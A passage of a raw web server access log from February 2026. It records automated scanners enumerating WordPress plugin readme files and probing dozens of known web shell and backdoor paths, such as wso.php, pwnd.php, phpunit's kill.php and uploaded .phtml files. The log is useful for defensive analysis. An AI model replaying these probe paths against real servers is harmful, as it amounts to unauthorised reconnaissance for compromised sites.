"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.157 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/hostinger/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.156 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/wp-fastest-cache/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.156 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/all-in-one-seo-pack/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.158 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/ultimate-addons-for-gutenberg/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.157 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/contact-form-7/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.159 - - [12/Feb/2026:13:48:35 +0300] "GET /wp-content/plugins/bbpress/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.157 - - [12/Feb/2026:13:49:39 +0300] "GET /solr/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.157 - - [12/Feb/2026:13:44:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.157 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/astra-sites/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.159 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/essential-addons-for-elementor-lite/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.156 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/all-in-one-wp-security-and-firewall/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.157 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/redux-framework/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.157 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/akismet/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.158 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/woocommerce/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.159 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/wpforms-lite/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.159 - - [12/Feb/2026:13:47:10 +0300] "GET /wp-content/plugins/iwp-client/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.158 - - [12/Feb/2026:13:47:27 +0300] "GET /wp-content/plugins/wp-video-lightbox/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.158 - - [12/Feb/2026:13:50:07 +0300] "GET /login.do HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.157 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/wordpress-seo/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.157 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/disable-comments/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.158 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/wp-super-cache/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.156 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/loginizer/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.157 - - [12/Feb/2026:13:51:07 +0300] "GET /aspera/faspex/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.157 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/jetpack/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.159 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/sg-security/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.158 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/seo-by-rank-math/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.159 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/elementor/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.156 - - [12/Feb/2026:13:48:11 +0300] "GET /wp-content/plugins/optinmonster/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.156 - - [12/Feb/2026:13:49:15 +0300] "GET /wp-content/plugins/wp-central/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.156 - - [12/Feb/2026:13:44:52 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36" 45.156.129.159 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/litespeed-cache/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.159 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/wordfence/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.159 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/coming-soon/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.157 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/autoptimize/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.158 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/advanced-custom-fields/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.158 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/limit-login-attempts-reloaded/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.159 - - [12/Feb/2026:13:45:06 +0300] "GET /wp-content/plugins/mailchimp-for-wp/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 45.156.129.157 - - [12/Feb/2026:13:47:55 +0300] "GET /wp-content/plugins/fancy-product-designer/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:30 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 203.188.168.29 - - [12/Feb/2026:14:38:31 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:31 +0300] "GET /O-Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:31 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:38:32 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:32 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:32 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 203.188.168.29 - - [12/Feb/2026:14:38:33 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:38:33 +0300] "GET /.well-known/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 203.188.168.29 - - [12/Feb/2026:14:38:33 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:34 +0300] "GET /.wp/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:34 +0300] "GET /core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:34 +0300] "GET /robots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:35 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:35 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:38:36 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:38:36 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:38:36 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:37 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:38:37 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:37 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:38:38 +0300] "GET /wp-content/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 203.188.168.29 - - [12/Feb/2026:14:38:38 +0300] "GET /wp-admin/maint/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:38:38 +0300] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:39 +0300] "GET /wp-content/edit-wolf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:38:39 +0300] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 203.188.168.29 - - [12/Feb/2026:14:38:39 +0300] "GET /wp-admin/images/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 203.188.168.29 - - [12/Feb/2026:14:38:40 +0300] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 203.188.168.29 - - [12/Feb/2026:14:38:40 +0300] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:40 +0300] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:41 +0300] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:38:41 +0300] "GET /admin/uploads/bn_1_1754420677.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 203.188.168.29 - - [12/Feb/2026:14:38:41 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:38:42 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:42 +0300] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:38:42 +0300] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:43 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/kill.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:38:43 +0300] "GET /wp-includes/style-engine/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:44 +0300] "GET /wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:44 +0300] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:44 +0300] "GET /wp-content/plugins/envato-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:38:45 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:38:45 +0300] "GET /uploads/94056-upload.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:45 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:38:46 +0300] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 203.188.168.29 - - [12/Feb/2026:14:38:46 +0300] "GET /js/bas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:38:46 +0300] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:38:47 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:38:47 +0300] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:48 +0300] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:48 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:48 +0300] "GET /wp-content/languages/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:38:49 +0300] "GET /wp-content/themes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:49 +0300] "GET /wp-content/plugins/elementor/wp-wjvngrh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:49 +0300] "GET /wp-includes/IXR/fix.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 203.188.168.29 - - [12/Feb/2026:14:38:50 +0300] "GET /wp-includes/widgets/dyqvcfqv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:38:50 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:50 +0300] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:38:51 +0300] "GET /wp-includes/js/crop/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 203.188.168.29 - - [12/Feb/2026:14:38:51 +0300] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:51 +0300] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:52 +0300] "GET /wp-includes/widgets/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:52 +0300] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 203.188.168.29 - - [12/Feb/2026:14:38:52 +0300] "GET /wp-includes/PHPMailer/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 203.188.168.29 - - [12/Feb/2026:14:38:53 +0300] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 203.188.168.29 - - [12/Feb/2026:14:38:53 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:38:53 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:38:54 +0300] "GET /cgi-bin/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:54 +0300] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:38:54 +0300] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - 